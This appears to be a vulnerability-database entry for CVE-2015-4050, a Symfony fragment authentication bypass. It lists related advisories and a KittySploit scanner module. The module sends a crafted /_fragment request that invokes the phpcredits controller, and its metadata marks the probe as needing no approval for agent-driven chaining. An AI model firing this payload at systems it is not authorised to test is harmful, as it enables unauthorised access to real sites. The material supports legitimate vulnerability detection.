Symfony - Authentication Bypass Detection
| Reporter | Title | Published | Views | Family All 36 |
|---|---|---|---|---|
| Sensio Labs Symfony FragmentListener ESI Security Bypass Vulnerability | 1 Jun 201500:00 | – | cnvd | |
| CVE-2015-4050 | 2 Jun 201514:00 | – | cve | |
| CVE-2015-4050 | 2 Jun 201514:00 | – | cvelist | |
| [SECURITY] [DSA 3276-1] symfony security update | 31 May 201508:52 | – | debian | |
| CVE-2015-4050 | 2 Jun 201514:00 | – | debiancve | |
| Debian DSA-3276-1 : symfony - security update | 2 Jun 201500:00 | – | nessus | |
| Fedora 20 : php-symfony-2.5.12-1.fc20 (2015-9025) | 9 Jun 201500:00 | – | nessus | |
| Fedora 22 : php-symfony-2.5.12-1.fc22 (2015-9034) | 9 Jun 201500:00 | – | nessus | |
| Fedora 21 : php-symfony-2.5.12-1.fc21 (2015-9039) | 9 Jun 201500:00 | – | nessus | |
| [SECURITY] Fedora 22 Update: php-symfony-2.5.12-1.fc22 | 6 Jun 201500:04 | – | fedora |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Symfony 2."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Symfony - Authentication Bypass Detection',
'description': 'Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment in the HttpKernel component.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2015', 'symfony', 'rce', 'sensiolabs', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access',
'http://symfony.com/blog/cve-2015-4050-esi-unauthorized-access',
'http://www.debian.org/security/2015/dsa-3276',
'https://nvd.nist.gov/vuln/detail/CVE-2015-4050',
'http://lists.fedoraproject.org/pipermail/package-announce/2015-June/159513.html',
],
'cve': 'CVE-2015-4050',
}
def run(self):
r = self.http_request(method="GET", path='/_fragment?_path=_controller=phpcredits&flag=-1', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('PHP Credits',)
if (any(m in body for m in body_any)):
self.set_info(
severity='medium',
reason="Symfony - Authentication Bypass detected",
path='/_fragment?_path=_controller=phpcredits&flag=-1',
)
return True
return False
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28 Jul 2026 11:27Current
5.9Medium risk
Vulners AI Score5.9
CVSS 24.3
EPSS0.08211